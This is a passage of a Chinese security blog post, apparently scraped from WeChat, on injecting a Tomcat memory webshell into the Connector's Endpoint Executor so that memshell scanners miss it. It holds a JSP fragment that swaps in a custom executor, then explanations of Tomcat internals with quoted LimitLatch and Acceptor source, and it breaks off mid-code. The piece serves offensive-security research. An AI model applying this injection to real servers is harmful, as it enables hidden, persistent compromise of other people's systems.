\&#34;executor\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IvWl-1659106816430&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ON5K-1659106816429&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t80n-1659106816432&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qdYb-1659106816431&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    nioEndpoint.setExecutor(exe);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xuJC-1659106816438&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZAfQ-1659106816437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;%&gt;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9SP6-1659106785227&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XukR-1659106785225&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Md2Y-1659106723670&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4NUR-1659106723671&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;抛砖引玉，按照这个思路，Connector中应该还有其他组件内存马可以实现。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KIMF-1659106968270&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xraj-1659106968269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;请忽略我拙劣的coding能力。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ohCm-1659107117735&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VWcA-1659107117733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;感谢su18师傅和园长的鞭策。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wV4p-1659107037523&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Box-1659107037522&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OxOQ-1659106999700&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLZQ-1659106999698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1CML-1659106999904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JNZy-1659106999902&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pHEZ-1659107003251&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R9uj-1659107003250&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;glQI-1659107017760&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://juejin.cn/post/6844903874122383374&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;94Do-1659107017759&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://juejin.cn/post/6844903874122383374&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I7pj-1659107017776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tl5S-1659107018726&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IzUQ-1659107018724&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;usHr-1659107026165&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://cloud.tencent.com/developer/article/1745954&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dJjA-1659107026164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://cloud.tencent.com/developer/article/1745954&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dgqT-1659107026181&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vXwu-1659107026743&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;diA9-1659107026742&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;kjyI-1659107032559&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://chujunjie.top/2019/04/21/Tomcat&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fmnH-1659107032558&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://chujunjie.top/2019/04/21/Tomcat&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rlEp-1659107032572&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;源码学习笔记-Connector组件-一/&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zGHP-1659107033707&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S3Ux-1659107033706&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration: none;"><p>PS：本文均只代表个人浅薄观点，若有错误或理解不足请指出。</p><p><br/></p><p>Tomcat为了自身的可扩展性，各组件之间在很大程度上都进行了解耦。</p><p>而memshell scanner等类似内存马查杀工具，大多都是针对Container内的注册服务进行扫描。</p><p>那我们是否可以在Connector内进行内存马的注入？</p><p><br/></p><p><span style="font-weight: bold;font-size: 26px;">正文</span></p><p><span style="font-weight: bold;font-size: 22px;">前置知识</span></p><p>先来看看Connector的具体实现。</p><p>在Tomcat笔记（其一）中我们曾提到，Connector主要由ProtocolHandler与Adapter构成。</p><p><img class="rich_pages wxw-img" data-ratio="0.4807692307692308" style="width: 662px;height: 318px;" data-type="png" data-w="1560" src="https://wechat2rss.xlab.app/img-proxy/?k=1be2a523&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETCjiaJXYia5l7SYbdpaLw1YfzHK8kIic13UCo6NOELVWWOibuas4iadMtiapA%2F640%3Fwx_fmt%3Dpng"/></p><p>而ProtocolHandler又主要由Endpoint与Processor组成：</p><p><img data-ratio="0.48426150121065376" style="width: 319px;height: 144px;" data-type="png" data-w="826" src="https://wechat2rss.xlab.app/img-proxy/?k=5ff3b051&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETwyvjIk8Cbajyx78FUp2lVSE5OMXUEqMdAG2qibkwQodsyn2JTAOzvLw%2F640%3Fwx_fmt%3Dpng"/></p><p>根据实现的不同，ProtocolHandler又有如下分类：</p><p><img class="rich_pages wxw-img" data-ratio="0.4347240915208614" style="width: 545px;height: 240px;" data-type="png" data-w="1486" src="https://wechat2rss.xlab.app/img-proxy/?k=6dd3d36a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETzn2iccibC8AtxBj8dhVVhaHg7U7JvGsFIWnDiaLbtDd9GeE1g8Y6LtaXQ%2F640%3Fwx_fmt%3Dpng"/></p><p>本文中，我们主要关注一下Http11NioProtocol这个实现。</p><p><br/></p><p><span style="font-weight: bold;font-size: 22px;">Endpoint</span></p><p>Endpoint是ProtocolHandler的组成之一，而NioEndpoint是Http11NioProtocl中的实现。</p><p><span style="font-weight: bold;font-size: 20px;">Endpoint五大组件：</span></p><ul class="list-paddingleft-1" style="list-style-type: circle;"><li><p>LimitLatch：连接控制器，负责控制最大的连接数</p></li><li><p>Acceptor：负责接收新的连接，然后返回一个Channel对象给Poller</p></li><li><p>Poller：可以将其看成是NIO中Selector，负责监控Channel的状态</p></li><li><p>SocketProcessor：可以看成是一个被封装的任务类</p></li><li><p>Executor：Tomcat自己扩展的线程池，用来执行任务类</p></li></ul><p><img class="rich_pages wxw-img" data-ratio="0.5543478260869565" style="width: 662px;height: 367px;" data-type="png" data-w="1472" src="https://wechat2rss.xlab.app/img-proxy/?k=6f72d212&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4cbRSMQzaiaWtGrncmibw7ETyQ7zicdkFibVd2XZE0eqPAibXibtdppwuvEanBuN7He9l5rj658zDicqgQA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-weight: bold;font-size: 18px;">LimitLatch</span></p><p>LimitLatch<span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);font-size: inherit;font-family: Arial;">主要是用来控制Tomcat所能接收的最大数量连接，如果超过了此连接，那么Tomcat就会将此连接线程阻塞等待，等里面有其他连接释放了再消费此连接。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">LimitLatch</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> Log log = LogFactory.getLog(LimitLatch.class);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Sync</span> <span class="code-snippet__keyword">extends</span> <span class="code-snippet__title">AbstractQueuedSynchronizer</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">long</span> serialVersionUID = <span class="code-snippet__number">1L</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">Sync</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">tryAcquireShared</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> ignored)</span> </span>{</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">long</span> newCount = count.incrementAndGet();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!released &amp;&amp; newCount &gt; limit) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// Limit exceeded</span></span></code><code><span class="code-snippet_outer">                count.decrementAndGet();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">tryReleaseShared</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> arg)</span> </span>{</span></code><code><span class="code-snippet_outer">            count.decrementAndGet();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">true</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> Sync sync;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//当前连接数</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span> AtomicLong count;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//最大连接数</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">volatile</span> <span class="code-snippet__keyword">long</span> limit;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">volatile</span> <span class="code-snippet__keyword">boolean</span> released = <span class="code-snippet__keyword">false</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//在AbstractEndpoint类中实现的方法</span></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> LimitLatch <span class="code-snippet__title">initializeConnectionLatch</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.maxConnections == -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.connectionLimitLatch == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.connectionLimitLatch = <span class="code-snippet__keyword">new</span> LimitLatch((<span class="code-snippet__keyword">long</span>)<span class="code-snippet__keyword">this</span>.getMaxConnections());</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.connectionLimitLatch;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">releaseConnectionLatch</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    LimitLatch latch = <span class="code-snippet__keyword">this</span>.connectionLimitLatch;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (latch != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">        latch.releaseAll();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">this</span>.connectionLimitLatch = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">countUpOrAwaitConnection</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> InterruptedException </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.maxConnections != -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">        LimitLatch latch = <span class="code-snippet__keyword">this</span>.connectionLimitLatch;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (latch != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            latch.countUpOrAwait();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__title">countDownConnection</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.maxConnections == -<span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> -<span class="code-snippet__number">1L</span>;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        LimitLatch latch = <span class="code-snippet__keyword">this</span>.connectionLimitLatch;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (latch != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">long</span> result = latch.countDown();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (result &lt; <span class="code-snippet__number">0L</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.getLog().warn(sm.getString(<span class="code-snippet__string">&#34;endpoint.warn.incorrectConnectionCount&#34;</span>));</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> result;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> -<span class="code-snippet__number">1L</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">......</span></code></pre></section><p><span style="font-weight: bold;font-size: 18px;"><br/></span></p><p><span style="font-weight: bold;font-size: 18px;">Acceptor</span></p><p>Acceptor用于接收链接。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//AbstractEndpoint中的原型</span></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Acceptor</span>&lt;<span class="code-snippet__title">U</span>&gt; <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Runnable</span> </span>{    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">int</span> INITIAL_ERROR_DELAY = <span class="code-snippet__number">50</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">int</span> MAX_ERROR_DELAY = <span class="code-snippet__number">1600</span>;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">run</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> errorDelay = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 循环，直到接收到一个关闭命令</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (endpoint.isRunning()) {  </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 循环，如果Endpoint被暂停则循环sleep</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span> (endpoint.isPaused() &amp;&amp; endpoint.isRunning()) { </span></code><code><span class="code-snippet_outer">                state = AcceptorState.PAUSED;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    Thread.sleep(<span class="code-snippet__number">50</span>); <span class="code-snippet__comment">// 50毫秒拉取一次endpoint运行状态</span></span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (InterruptedException e) {</span></code><code><span class="code-snippet_outer">                    </span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!endpoint.isRunning()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            state = AcceptorState.RUNNING;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                endpoint.countUpOrAwaitConnection(); <span class="code-snippet__comment">// 判断最大连接数</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (endpoint.isPaused()) { </span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                U socket = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    socket = endpoint.serverSocketAccept(); <span class="code-snippet__comment">// 创建一个socketChannel接收连接</span></span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (Exception ioe) {</span></code><code><span class="code-snippet_outer">                    endpoint.countDownConnection();</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (endpoint.isRunning()) {</span></code><code><span class="code-snippet_outer">                        errorDelay = handleExceptionWithDelay(errorDelay); <span class="code-snippet__comment">// 延迟异常处理</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> ioe; <span class="code-snippet__comment">// 重新扔出异常给c1处捕获</span></span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                errorDelay = <span class="code-snippet__number">0</span>; <span class="code-snippet__comment">// 成功接收之后重置延时处理异常时间</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (endpoint.isRunning() &amp;&amp; !endpoint.isPaused()) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">// setSocketOptions()将Socket传给相应processor处理</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (!endpoint.setSocketOptions(socket)) {</span></code><code><span class="code-snippet_outer">                        endpoint.closeSocket(socket);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    endpoint.destroySocket(socket); <span class="code-snippet__comment">// 否则destroy掉该socketChannel</span></span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Throwable t) { <span class="code-snippet__comment">// c1</span></span></code><code><span class="code-snippet_outer">                ExceptionUtils.handleThrowable(t); <span class="code-snippet__comment">// 处理延迟异常</span></span></code><code><span class="code-snippet_outer">                String msg = sm.getString(<span class="code-snippet__string">&#34;endpoint.accept.fail&#34;</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (t <span class="code-snippet__keyword">instanceof</span> Error) {</span></code><code><span class="code-snippet_outer">                    ... <span class="code-snippet__comment">// 日志记录</span></span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        state = AcceptorState.ENDED; <span class="code-snippet__comment">// 标记状态为ENDED</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">       </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span 